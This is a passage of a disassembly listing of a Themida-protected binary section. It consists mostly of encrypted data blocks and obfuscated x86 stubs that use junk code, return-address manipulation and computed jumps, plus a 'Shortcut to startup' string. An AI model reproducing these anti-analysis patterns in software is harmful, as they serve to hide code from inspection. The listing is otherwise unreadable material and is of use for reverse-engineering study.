		dd 84F19700h, 7EFFBE16h, 0EB56D24Fh, 0E895B7CFh, 2047F138h
		dd 0F99D8B7Fh, 0E9060B0Ah, 0FFFFFF80h, 4BBC5773h, 0F5E36963h
		dd 14EFFE41h, 2E6E86D0h, 7E3EF4EEh, 0D4712ADEh,	0DC4B46D4h
		dd 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h
		dd 930E76EFh, 0B44E6033h, 67A5E4FFh, 933566F8h,	80A3BEA0h
		dd 67203D2Eh, 79A3BA79h, 1B2038D6h, 930126D7h, 1D293333h
		dd 98263383h, 0DD1EB6C0h, 157635B6h, 886319D6h,	0DD963AFh
		dd 9E2D3135h, 98266483h, 15235935h, 8863091Fh, 1DAB634Bh
		dd 9E36768Ch, 81B3CC03h, 932038ACh, 0A1A23C14h,	1526336Ah
		dd 886309B0h, 0AACE639Ch, 0D826334Dh, 0D8A3BEF6h, 0C8202316h
		dd 0DD1CB624h, 677635C4h, 93263EFFh, 94E2B033h,	0DD1CB617h
		dd 1576355Dh, 88631923h, 0DD96355h, 9E2D3148h, 9826513Dh
		dd 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h
		dd 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h,	0AB263335h
		dd 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h, 9BCF33A9h
		dd 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h,	0DF7EFB4Eh
		dd 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh,	152637A8h
		dd 88631B88h, 0C5ABBE9Ch, 2020230Bh, 93h, 71E7FC78h, 0D0073102h
		dd 4C783C8h, 0F2850F49h, 8DFFFFFFh, 10465DB5h, 7C8D8D06h
		dd 2B061046h, 5E983CFh,	6E8C88Bh, 0EE000000h, 9888F2D5h
		dd 69BD89F7h, 5A060B17h, 5B99D89h, 0C281060Bh, 6369h, 1FFD8D89h
		dd 0A9BB060Bh, 29000018h, 0B03B9BDh, 0B032FF06h, 9D895EABh
		dd 60B3339h, 566AF681h,	8C0F2BC3h, 5, 73CF8166h, 0D0EE81D8h
		dd 0E930DAE7h, 0Bh, 0B2D02092h,	4516BD2Dh, 812F8F62h, 29359CC6h
		dd 9E832h, 35DC0000h, 0F859EC6Ah, 8B12B395h, 0B206D8Dh
		dd 32895806h, 68C0Fh, 85010000h, 60B1A75h, 9A4CEA81h, 0D4803563h
		dd 48C28196h, 8B35639Ah, 0B016585h, 850F4B06h, 10h
		dd 1E9DBD89h, 1DE9060Bh, 1F000000h, 171AE926h, 18D98166h
		dd 0FF6FE9B7h, 1203FFFFh, 3432EF2Ch, 79C69D38h,	7E3A8A17h
		dd 482F8D8Dh, 870F0610h, 3, 89D7D780h, 0B174D8Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 9BCEB098h, 22618524h, 27699501h, 85C7060Bh, 60B0119h
		dd 637Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	68C35343h, 11B8D620h, 45622B78h, 22DB589h, 8B0F060Bh
		dd 12h,	0DE9h, 4CF16F00h, 0E2F58A48h, 367380EEh, 85C74ADEh
		dd 60B1009h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_59088F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59088F	proc near		; CODE XREF: Themida_:00590887p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_59088F	endp

; ---------------------------------------------------------------------------
		sar	dl, 1
		xor	dl, [ecx+5Bh]
		pop	eax
		cmp	edi, edi
		mov	ch, 31h
		sbb	cl, [ebx]
		push	es
		call	dword ptr [ebp+60B0AC5h]
		jz	loc_5908BE
		add	[ebp+60B0051h],	edi


loc_5908BE:				; CODE XREF: Themida_:005908B2j
		jmp	loc_5908CC
; ---------------------------------------------------------------------------
		mov	ds:679504D0h, al
		cdq
		or	bl, ch
		dec	ecx


loc_5908CC:				; CODE XREF: Themida_:loc_5908BEj
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_590935
; ---------------------------------------------------------------------------
		dd 9CD20DADh, 0CE196560h, 0E8480A62h, 93537775h, 1388F3C4h
		dd 0E5AA5C95h, 0D0CC078Ch, 4AF0E38Eh, 473C3416h, 17A82285h
		dd 94C80DF3h, 0D88D2005h, 59B6B75Ah, 0FF170D2h,	8723D017h
		dd 0CEEAE65Bh, 0DD43CBEDh, 0E6E444C8h, 9C02C26Dh, 2A1BE2B0h
		dd 950265FBh, 0BECEBD15h, 5C09E9E7h
		db 0DEh
; ---------------------------------------------------------------------------


loc_590935:				; CODE XREF: Themida_:005908D6j
		jmp	short loc_5909A3
; ---------------------------------------------------------------------------
aShortcutToStar	db 'Shortcut to startup',0
		align 4
		dd 13h dup(0)
		dd 6C000000h, 110DADAh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5909A3:				; CODE XREF: Themida_:loc_590935j
		jmp	loc_591A1B
; ---------------------------------------------------------------------------
		push	6104AA4h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6104BBBh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6104DA3h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6104DE5h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6104EE1h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6104F6Ch
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	61053E6h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	61056A1h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	61057ADh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		dw 95EAh
		dd 50AB4E39h, 0F6E8976h, 0C92DC8B7h, 87E702CDh,	0A24F400Fh
		dd 0AF1876F6h, 0EC5B33B4h, 2897EF09h, 68D7AFCDh, 0BD429583h
		dd 0DA7BADA5h, 7351A0D7h, 9D5D1BE0h, 3C03875h, 826592ECh
		dd 9AF4756Ch, 344B8870h, 8B4CFE5Ah, 0AEAE1975h,	0E88EDB98h
		dd 5D86E881h, 759D89D0h, 90BF1BE7h, 7BFCC41Ah, 0D4598A04h
		dd 3F759D89h, 9D896734h, 8E8C8C75h, 113B93D5h, 0B7914D29h
		dd 8A8558ACh, 0E44F4D4Fh, 6F928417h, 660DC3Ch, 2F0412C0h
		dd 0D02E2810h, 23ED1AF6h, 7EFA7Dh, 0EFDB6CF7h, 7FF56F92h
		dd 57CE358Ch, 3351BC0Dh, 66000000h, 0A19F637Bh,	8A7436B6h
		dd 5E89E74Fh, 6F9232D1h, 33ED1AE6h, 418A5DCFh, 6B6F9234h
		dd 68D32695h, 0ACBC0E17h, 4B337A6h, 0B8473E90h,	0B24Fh
		dd 9B516800h, 51D3F708h, 2CF162EFh, 4B759D81h, 9EC1BF7h
		dd 0EE719BF3h, 411A308Eh, 26B9532Bh, 0F601CEC8h, 759D7D70h
		dd 0E7502E4Ch, 0C112EE0Ch, 759D7C3Ch, 0E10BE75Bh, 8BE54D91h
		dd 8A91C458h, 0FE49B14Fh, 0AA24459Eh, 69D1159Dh, 7F69240Fh
		dd 0EA564984h, 5B334B8Ch, 95F109ECh, 59F5105Fh,	8845E7E4h
		dd 0E08h, 14E3DB10h, 4F3896D1h,	8E795594h, 0C8B70F6Bh
		dd 6F1CD2Dh, 0BC3CE809h, 79F275C2h, 35B7B21Dh, 0F50BEE59h
		dd 5BC52E99h, 0ADA70388h, 6699107Bh, 0ED5A34B4h, 0D9A6B1EFh
		dd 0FE759D5Ch, 5CCA5780h, 11E9759Dh, 91EF8AB5h,	7B534A35h
		dd 43A19F63h, 0FE6C6A80h, 0EA62F502h, 0E74F8A73h, 0C33A3D1Bh
		dd 4EF921CBh, 33A02982h, 0CACA6F92h, 6996F009h,	7BFC2893h
		dd 0B56587FFh, 17BC278Ah, 0CD6FBC0Eh, 8000000h,	7E5836B4h
		dd 0EFFA02E8h, 30DF8126h, 2BA3DB9Ch, 90EE0ACDh,	0C402A567h
		dd 0F8759E1Ch, 0B8BB0482h, 901DC642h, 0A7759E1Bh, 454DFF5Bh
		dd 0E97F59A1h, 7CFD66E3h, 3E30E802h, 3EC944B2h,	0FCF9955Eh
		dd 1CFC4F8Ah, 0C9C52122h, 76F1CF3Eh, 8D6D9FF7h,	691162BBh
		dd 0CA751690h, 0DA34FEE0h, 84A88909h, 4AA49449h, 0E6116D89h
		dd 0B10D6DE6h, 6FE8C6C6h, 0E0ADB610h, 0C36984C8h, 5D597842h
		dd 6FA004Dh, 26D1ADCDh,	91532B43h, 0E459B3E0h, 0F1B89537h
		dd 0F00000Ch, 0C82B94F2h, 8366D1ADh, 42A5126Ch,	4DFA826h
		dd 301DEAE4h, 0FBD32BFFh, 3690E90Ch, 724CAE49h,	0B20C6285h
		dd 0E7702CC5h, 7BADA81Ah, 0B40D7039h, 0AED5A34h, 362D9AF4h
		dd 6A3236B4h, 0C3489BC7h, 0D0759D69h, 0EB72E668h, 9764CF29h
		dd 0BC759D86h, 0F14AE05Ch, 7EB4037Bh, 687EE868h, 24135D6Bh
		dd 49C56E48h, 4C4F8A77h, 44955ECCh, 6E6F9238h, 65CE2396h
		dd 51BC0E13h, 0D17E5896h, 1164h, 41CE7100h, 0CE000009h
		dd 5CBA4790h, 61D9759Dh, 9651EFD6h, 6ED27856h, 2D15C9E1h
		dd 9DF970F3h, 3896D46Fh, 0C5722E12h, 588BE9C7h,	759D5CD3h
		dd 64EF18E0h, 4F8A73F4h, 0E4C80BD9h, 34EF7D93h,	0BCCB258h
		dd 0EE719BF3h, 0AB54308Eh, 0FAD4B2C8h, 6587FF79h, 589B8AB5h
		dd 0D886A422h, 3175A12h, 96A15FB0h, 0B60F20C3h,	8477E9E6h
		dd 6D45CA00h, 0C06A649Bh, 2237D618h, 48A641CEh,	0C2DA104Eh
		dd 0E9E5063Bh, 0B2499F43h, 8B854B3Bh, 836010DDh, 0FE79E817h
		dd 2F280680h, 864AF5D1h, 4E279D2Dh, 2C9F9508h, 18E7DF1Dh
		dd 0C9279FDDh, 0B0332B03h, 0DE69B416h, 718B4C32h, 0CB1FEA15h
		dd 0AF084DD6h, 49A7C209h, 967824Dh, 5590538Dh, 0E06FD379h
		dd 0DF82642Ch, 0B00B219Dh, 4CAC5E38h, 9DA3490h,	0E23AF5D9h
		dd 88B74C4h, 0A02BB3AEh, 76F64D49h, 520EF218h, 0CCDFE374h
		dd 61FADC2Fh, 0F32D8905h, 521D4D7Dh, 0E900E4D0h, 70631EDh
		dd 26DD7ADCh, 52A8AB1Eh, 0FFE7CB74h, 9BE1AEB9h,	0AF61E26h
		dd 4BE770AEh, 4EF813B5h, 75E94F2h, 856DD414h, 555DEF18h
		dd 0F94FA991h, 66825100h, 0C81EC268h, 7D8AE2F3h, 85BD41Fh
		dd 9240F20Dh, 0FB13BB4Ah, 0F02E8AEBh, 329DF977h, 7DDB937h
		dd 3BD20E5Ch, 93C19B3h,	1700000Bh, 0D013FCDAh, 0AB4E3995h
		dd 6A8D7A54h, 2CC7B00Eh, 805F2CCh, 0C3BB33E7h, 1E78F174h
		dd 5A34B6B1h, 9AF40AEDh, 8F58C42Dh, 7BADAA02h, 0B4659811h
		dd 0C6C03F36h, 36BBE86Ah, 0B852D841h, 0AC75Dh, 0A21C5100h
		dd 0FFD712D5h, 3896D510h, 7650944Fh, 0B00E6E89h, 7D29C6C7h
		dd 333681FDh, 0F073DCBAh, 0B4AF1876h, 7AEF5836h, 0AA44C91Ah
		dd 5E537BADh, 5836B427h, 0F40BCCB2h, 7F88709Ah,	5F8884E4h
		dd 759D5CD2h, 43BD19E1h, 5D2DF265h, 0F64A759Dh,	79FADA49h
		dd 0B56587FFh, 5D03885Bh, 2810759Dh, 0A79A241Fh, 1E15913Fh
		dd 5FC528C2h, 8E5285E3h, 0AB4F8B37h, 5298F857h,	2B83F35Ah
		dd 5A2DDAF2h, 844D3B16h, 2F4E11D5h, 0E945B557h,	5796518Fh
		dd 0A905D07Fh, 7087C232h, 0FB7E75F7h, 0B2052783h, 71A9433Bh
		dd 4AB66A95h, 240ED0A0h, 0F6BECCAh, 44FD88B7h, 3B81BB75h
		dd 488BE9C7h, 5E9F5432h, 0E916CA60h, 0B896F00Eh, 41565CB2h
		dd 4CFBAC82h, 464FFDDh,	0A20115E0h, 0DE963BAh, 0E7096702h
		dd 135AD989h, 3896D52Fh, 0F1722E12h, 33EF1D79h,	52FA9D57h
		dd 7B11AC22h, 9CB9Ah, 0BE185500h, 0FBD316D1h, 3492E90Ch
		dd 724CA84Bh, 8C0A6285h, 7125CAC3h, 37329DF9h, 0F46FD8B6h
		dd 48AB1472h, 6EB5432h,	0AB40CD16h, 5A577BADh, 5836B423h
		dd 0F7CF29B2h, 5CD0FD08h, 0CD11759Dh, 0AFC80B65h, 3AC535D7h
		dd 0D51E7C5Ah, 759D5D48h, 39C6116Fh, 5E759D5Dh,	6EF906E2h
		dd 4F8D152Ch, 64FFD921h, 0C13F8806h, 9D03CE0Bh,	0E413DA72h
		dd 0B593EB01h, 0B05F37B2h, 0AB235B1Ch, 0C2BC3E81h, 52147700h
		dd 11EC9EDEh, 940h, 5C2BA3D8h, 97605E99h, 0D6A11D5Ch, 10FFD713h
		dd 4E3995D5h, 84E4B041h, 41BABD0Ah, 0FD7FFA45h,	0BD333681h
		dd 83FD76C1h, 0ADABCB50h, 0BEA1E87Bh, 0B25836B4h, 51FBD329h
		dd 52EFDA52h, 0DAD5A21Ch, 0B602ED71h, 5CF32h, 637BC300h
		dd 96180F8h, 1B75D18Dh,	8D15CEC8h, 17FC34Fh, 0BBACA8C6h
		dd 6F8D14F6h, 2E6D4129h, 4FCDA096h, 0D3795594h,	68D7B36Fh
		dd 0BA509E42h, 18943331h, 0EFD73ECh, 7FF350BBh,	56D335h
		dd 7BE40000h, 73FDF365h, 188A619Eh, 725A1DBh, 23017FDBh
		dd 9E1F6B30h, 0FE835475h, 15759E1Fh, 1C2B1725h,	1FE6ABBCh
		dd 0D0D759Eh, 0FD87541Fh, 13E95526h, 88EA51A8h,	19BDD669h
		dd 43000000h, 9FDDD08Dh, 0E817B25Eh, 2A0CEF1h, 78CE0000h
		dd 0B48274F5h, 2D94A3BDh, 0A19F637Bh, 5D0B9043h, 0EB1C759Dh
		dd 0D210F00Eh, 668255E7h, 0A21EC268h, 922C3795h, 8F4F8DE8h
		dd 569255B3h, 0AA3DCF78h, 6F8DE922h, 1E705B1Dh,	0E4E205C8h
		dd 0AB052E08h, 96497D9Fh, 0E21ADDAAh, 7DFD46E4h, 0B9BFEB01h
		dd 0D511D252h, 60EF53F9h, 9E696585h, 0AAC3225Bh, 9EF885AEh
		dd 231F697Dh, 0FE41EB47h, 8A04667Dh, 3FBB3C2Eh,	0D812A547h
		dd 718B4CFEh, 8B7EF615h, 48B3B599h, 0E9E51BDCh,	27CF843h
		dd 9F5430E8h, 1BC76561h, 96F009ECh, 423CBFB8h, 0B346B5h
		dd 0C6697D9Fh, 9A5D2AA4h, 83C06A64h, 1BE07351h,	38759D5Dh
		dd 0DBDFD2AAh, 0EEA1A3Bh, 0CB37A901h, 5935B6C9h, 482E47Fh
		dd 0E0D3AE6h, 0FAD4B2CBh, 79860079h, 8141443Fh,	79C26866h
		dd 3F618B03h, 35B7D239h, 0DD03FD59h, 0F3309BEEh, 4DF3B601h
		dd 84000004h, 0B05A34B4h, 6D02F4Fh, 785696B3h, 6A37201Eh
		dd 0BD759D5Ch, 0CC40903Bh, 81798335h, 0C6C8776h, 0DC5A2730h
		dd 2540759Dh
		dd 0BD5F83A9h, 0A8A3E15Dh, 3A3D774Fh, 4E48A3C2h, 87E77892h
		dd 0DBB3340Fh, 1EED4331h, 9B6EC064h, 41926E8Eh,	759DDBBCh
		dd 2C8B67DBh, 51FBD329h, 9DDD4E9Eh, 0E5E11A75h,	1C7AFC47h
		dd 55A4BAEEh, 0CE3DBB53h, 0F6413DB3h, 0E2AFB896h, 0C8759DDBh
		dd 552BD1ADh, 9DDBFD82h, 4A261A75h, 0FA23E584h,	63EC91F5h
		dd 0ED0F6680h, 87E07B91h, 5A90530Fh, 0B612CE7Ch, 0CE2D2694h
		dd 7E6A7EF0h, 0BD51C46Bh, 3577C792h, 0B0A6759Eh, 42BE3849h
		dd 0C56E6881h, 759E3438h, 0B807E35Fh, 9E2794ADh, 3C12BF75h
		dd 5828A501h, 0FE43AFFCh, 0E1E4B601h, 0E8FFFFFEh, 98B20C6Fh
		dd 0B42097A0h, 74EF5836h, 44C91AF6h, 53759D5Dh,	561933EFh
		dd 759D5E06h, 0D3F97D2h, 0B456304Ah, 0E7A168CEh, 0F1AE147h
		dd 7B7AF2F1h, 4D298501h, 0EA4C8282h, 0E61EF7CDh, 5D9D58E7h
		dd 0CB290761h, 9D7F9318h, 8B58A075h, 759D8006h,	53F9D514h
		dd 62ED6DEFh, 1E2105AEh, 0EB618512h, 6D62C920h,	67C58676h
		dd 0D2000000h, 0A19F637Bh, 8D151CB6h, 553014Fh,	0E922D6BFh
		dd 91CF7DD9h, 75A2665Bh, 30CA179h, 8D47AC70h, 85748C6Fh
		dd 12F4C72Ch, 1579CFBCh, 0FC71A20Bh, 292E1720h,	2E000000h
		dd 9DFBD315h, 8D2DC54Ah, 0E16ED26Fh, 5327A4FAh,	8B72759Dh
		dd 0FFFFFD80h, 10CEACh,	78CE0000h, 4A307AA3h, 0AB123D5Ah
		dd 2A3CEh, 9B51D700h, 0A1FAEFF1h, 8C11C2B9h, 0AB759E58h
		dd 9975FB57h, 3C78065Dh, 0E705E06Fh, 0FFBBB1EFh, 25500C4Dh
		dd 5604C877h, 0D37C5A9Dh, 619BDA10h, 30ECEA02h,	0FD4A261Ah
		dd 0EFC931B5h, 8ABB3044h, 725154Fh, 92BB1BACh, 4CBFB56Fh
		dd 0D8C8EF5h, 2F4D86BCh, 0BA45B557h, 484Dh, 74F07300h
		dd 0FF08F01Ah, 9F637B98h, 0F26543A1h, 759D5D2Dh, 0BE49F64Ah
		dd 4F8A743Eh, 7F5DCF33h, 0E70581E4h, 0F0790C3Bh, 9A6F9233h
		dd 390F7742h, 0AFFB9AECh, 6A956D5h, 0BC0ECF9Dh,	0A20Eh
		dd 0B3350E00h, 3EC931DBh, 5836B447h, 0F5D129B2h, 201C589Bh
		dd 9D5C6A37h, 0D5B18975h, 0EF08CB37h, 13A46897h, 2BF063DDh
		dd 48759D5Dh, 88F614F0h, 0A956304Fh, 69D6B0CEh,	9D59589Eh
		dd 0B8165475h, 5803DBCFh, 568AA01Eh, 454B9CFAh,	504F8F88h
		dd 97508EE8h, 2ACD7A54h, 0E80BF4D2h, 0AD3C3690h, 0DCDE4EEDh
		dd 4C6EF2Eh, 1D520000h,	0D813D6A1h, 97D611FEh, 5195503Fh
		dd 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch, 0B01F77F1h
		dd 0F05F37B5h, 45CA1D7Bh, 527BADB0h, 34B4385Fh,	0F40AED5Ah
		dd 0B4362D9Ah, 7E5836h,	9D5D4AD7h, 66916975h, 0F873F4AAh
		dd 78F6719Eh, 0C427201Eh, 914D49ADh, 2BB3F766h,	67EE9C7h
		dd 274F8A7Dh, 91ED0EC9h, 923BBD42h, 0E066DA6Fh,	0ADED46D0h
		dd 0DAF58D2h, 33D7A48Fh, 1CFC6F92h, 96218AA0h, 906F9235h
		dd 7DF3198h, 0CFAB2344h, 540E4691h, 0FF3497Fh, 98D716D1h
		dd 6785615Dh, 959D8CBBh, 518FE951h, 0CB745296h,	76CAFE38h
		dd 8665F343h, 1D9556Bh,	5C21326Ch, 7B637668h, 0ACD2B87h
		dd 0D92C9BF3h, 63766856h, 42BC1A5Ch, 0E26D6981h, 638A73h
		dd 0BCB20000h, 0B816FC09h, 5940CF9Dh, 9D5E13A4h, 17DD0E75h
		dd 3B013339h, 0A7FA001Ah, 2F4EA998h, 0CC7B557h,	916493EBh
		dd 759E200Ch, 4DFFD712h, 0FA106E8Ah, 0BD675280h, 1B26954Bh
		dd 0DA1DEAE4h, 0A30426A0h, 759E211Bh, 61A5140Ah, 4FD25CEBh
		dd 5B9FBC81h, 0B511C963h, 5B8DEF8Ah, 0C65CAD8Fh, 3A8561AEh
		dd 559651C3h, 0E06FD379h, 41EBE305h, 0C03A3D1Bh, 6FF424C6h
		dd 759D5CA2h, 958749B1h, 81F62610h, 0A5C7A2ADh,	2E3C304Eh
		dd 49603328h, 0C197B511h, 8599D97Ah, 0E05C3865h, 0E4D72D4Ah
		dd 0DCAB2345h, 9E3A0209h, 0D6114F75h, 2D0D3F97h, 2E238F22h
		dd 0DD13B602h, 0CBFBF8F4h, 239BDD60h, 454FB847h, 68FFFFFFh
		dd 0BE3F36B4h, 7DF62AC0h, 0B06882FCh, 4FAD36D4h, 3CA28877h
		dd 3B4F98F6h, 2E4F8A58h, 0B35935B5h, 15F1CD28h,	0F6615FB9h
		dd 6F925729h, 0F771F24Eh, 828D6D9Fh, 57D465CEh,	9EFE6F92h
		dd 0A0AF2745h, 3398F1D8h, 0F4BC0DF0h, 2Ah, 9F637B81h, 7436B6A1h
		dd 89E74F8Ah, 9232D15Eh, 0ED1AE66Fh, 8A5DCF33h,	6F923441h
		dd 0D326956Bh, 0BC0E1768h, 0F23Bh, 36B4DC00h, 0D129B258h
		dd 1D589BF5h, 0FF8AECCBh, 0D4B0C8B9h, 933DCA36h, 2FBEB2C8h
		dd 0D9842CFFh, 3285A703h, 0E275C2BCh, 759D9464h, 0DBA42258h
		dd 46E4E218h, 279FDF18h, 0E64C9218h, 0A1675F88h, 4D864F8Ah
		dd 26B9532Bh, 0F921CBC3h, 6B30231Dh, 886F927Fh,	65D587B0h
		dd 753A2D0Bh, 826F927Fh, 0A2A291BEh, 0D12B4AA1h, 65F319F5h
		dd 150E0CB1h, 0E710CC8Bh, 0F9D71BC3h, 85195E6Eh, 50A83349h
		dd 27CFD76h, 6F8F48A6h,	2D4DA817h, 387B00D3h, 0A0986985h
		dd 39109D46h, 0DB276985h, 5AF0E57Fh, 9D0FE459h,	20BA0h
		dd 0FED81500h, 3B93D611h, 7452A94Ch, 0B20C688Bh, 0CCCA22C5h
		dd 31E50A03h, 0F772DDB9h, 0B4AF1876h, 8EB5432h,	0C62B94F2h
		dd 0B3008D56h, 9A177BADh, 5A34B463h, 1154EFEDh,	9CAB97B5h
		dd 5C2BA3D9h, 48D51E7Ch, 6F759D5Dh, 7B7D6493h, 0DFDFF563h
		dd 9B66ECFCh, 0B0AA2B55h, 33EF5698h, 0E3DB12D5h, 6BE37454h
		dd 0BA4F8AB6h, 9D7B80B4h, 5790ECCEh, 0C874837Fh, 0C811DA70h
		dd 9E6F928Dh, 71CA605Eh, 0B26E9CFAh, 0B25836B1h, 0AE58A301h
		dd 51A813E9h, 0BC0DBDEAh, 0F0CE292Ah, 0EC59E65Ah, 0A6h
		dd 3F36B489h, 4E48A1C0h, 24807892h, 413DBD06h, 58C200ABh
		dd 80FE759Dh, 25D2B86Ch, 0F2088836h, 2E8A7694h,	4C878572h
		dd 42BEAC2Ah, 0A8BC32B5h, 46B7B3AAh, 0A9433FBEh, 9DF970F3h
		dd 5CA63872h, 32C1F162h, 5CBC4F8Ah, 0C327BFF3h,	41C772E5h
		dd 33A44984h, 0F22EDCBAh, 0BF3F3816h, 7DFD78C7h, 31D4C301h
		dd 913BE45Ah, 0FFB4h, 0EAE41900h, 279FDA1Dh, 605E9D58h
		dd 0BE185C97h, 0F8D616D1h, 25F13E0Fh, 0FB7EC9C5h, 0B8BB0482h
		dd 7CF7403Eh, 323780FEh, 0B40C9142h, 662B7BADh,	5A34B47Fh
		dd 9AF40AEDh, 36B4362Dh, 0D329B258h, 0C0260CFBh, 75CB1C7Ah
		dd 604F8D15h, 0CB0C7298h, 0D91CD7AFh, 599752FDh, 6887DE1Ah
		dd 0A01CFC6Eh, 1269EAC4h, 47239BD3h, 87C3F881h,	67903CE9h
		dd 1E5F98F8h, 0DC6C3122h, 0B78B6F8Ch, 3EC931DBh, 18CB45BBh
		dd 6F8CDC93h, 0F57E58A0h, 6F8CDD28h, 0F517F34Fh, 3A5A3972h
		dd 7B4EE059h, 1B5190EEh, 1878C7A3h, 0C0BE393Ah,	0A06DF62Ah
		dd 0B758C258h, 0C339BC4Bh, 5A9E21CBh, 0FEBE31Bh, 0CD245A1Dh
		dd 0C63AD0AEh, 0FB7FC06Ah, 5949D601h, 926E58C2h, 0B4A21436h
		dd 0F76D4345h, 8F076504h, 7B539651h, 6FDE69D1h,	9700DB11h
		dd 0A10C20CBh, 219DD396h, 0ACA0Bh, 71F20000h, 8D6D9FF7h
		dd 2C931B82h, 0AD5F37B4h, 50FAD42Ah, 0FB116D8Fh, 9D8F0760h
		dd 624A2DAh, 0AB413DBDh, 50FAD410h, 0F416708Fh,	9C8E0863h
		dd 0E3895319h, 1DBABF57h, 0EF815C4Bh, 231219F2h, 0FC3CC781h
		dd 0FB01C6C6h, 4EB835Fh, 5C241C87h, 67968h, 24348900h
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 50240C89h, 0C122D368h
		dd 42055826h, 0C1626E40h, 0BD5504E0h, 94E6780Eh, 895DE831h
		dd 0EC8158C6h, 4, 81242489h, 42404h, 83590000h,	348904ECh
		dd 8418F24h, 50240C8Bh,	405E089h, 5000000h, 4, 5C240487h
		dd 5024348Bh, 405E089h,	83000000h
		dd 48704C0h, 0CAE95C24h, 10FFFBE9h, 0F1DBAE5h, 0A1F543E3h
		db 9Bh,	0D1h, 4Ch
; ---------------------------------------------------------------------------


loc_591A1B:				; CODE XREF: Themida_:loc_5909A3j
		mov	eax, 61058D1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		shl	edx, 1
		mov	ecx, [esi-67h]
		xchg	eax, ebp
		fidivr	dword ptr [ebp-34h]
		test	al, 72h
		push	edx
		sbb	byte ptr [edi+7B042B8Dh], 0EAh
		pop	esi
		aas
		cli
		inc	eax
		dec	edi
		mov	esi, 667E1A28h
		aad	7Bh
		jge	short loc_591AA6
		retf	34CCh
; ---------------------------------------------------------------------------
		dd 78E201BDh, 711C7222h, 5112AFF0h, 0F755A53h, 2B19683Ah
		dd 3F712A8Dh, 39C89A5Ah, 33374D4Ah, 392B9F48h, 6016B9A8h
		dd 554B2C1Dh, 5EF11565h, 5CDE3C74h, 5614E9FCh, 1E4974D9h
		dd 10D87E5Ah, 0DD4797Eh, 0BA38F7Ch, 4BE07558h, 559E6120h
		dd 1C977FE6h, 972BA91h,	5AD98D8Dh
; ---------------------------------------------------------------------------
		adc	[esi], al


loc_591AA6:				; CODE XREF: Themida_:00591A43j
		push	0
		push	ebx
		call	sub_591AB1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591AB1	proc near		; CODE XREF: Themida_:00591AA9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_591AB1	endp

; ---------------------------------------------------------------------------
		db 61h,	85h, 5Ch
		dd 9C89377Ah, 8F0F9B61h, 6, 19E99501h, 8D89060Bh, 60B174Dh
		dd 11985C7h, 5F60060Bh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0E47B01C3h, 46A905AFh
		dd 0D381669Eh, 85C75411h, 60B1009h, 0
; ---------------------------------------------------------------------------
		mov	dx, bx
		push	dword ptr [ebp+60B1A49h]
		push	0
		push	ebx
		call	sub_591B2C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591B2C	proc near		; CODE XREF: Themida_:00591B24p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_591B2C	endp

; ---------------------------------------------------------------------------
		dd 38C6DAB8h, 1EB1B589h, 95FF060Bh, 60B0AC5h, 14E8h, 0FD4400h
		dd 89993459h, 317867FEh, 5C7778CDh, 23C96C8Ch, 9D8B60CEh
		dd 60B20F5h, 0B759589h,	5B61060Bh, 6AD8B0h, 32DD95FFh
		dd 0C08B060Bh, 0EFD80DEBh, 5580008Eh, 99D49363h, 8DB05BE9h
		dd 0B09819Dh, 39B806h, 85890000h, 60B0E7Dh, 0E8h, 0D055800h
		dd 89000000h, 39E903h, 0
		dd 0Dh dup(77E6h), 0E9FF77E6h, 0B0h, 0DA8C6660h, 0F04C2F6h
		dd 0C85h, 1853B00h, 0F060B0Bh, 3684h, 15853B00h, 0F060B03h
		dd 2A84h, 4D853B00h, 0F060B19h,	1E84h, 15853B00h, 0F060B29h
		dd 1284h, 29BD8300h, 1060B13h, 5840Fh, 5FE90000h, 8B000000h
		dd 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h
		dd 8B000000h, 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh
		dd 10840Fh, 0CE3B0000h,	17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h
		dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0D79D8D00h, 0B8060B4Dh
		dd 5, 0C361E3FFh, 5E8D00Bh, 34000000h, 952AD556h, 665BD78Bh
		dd 0C377F781h, 700EC381h, 9E90000h, 8A000000h, 3CAF2519h
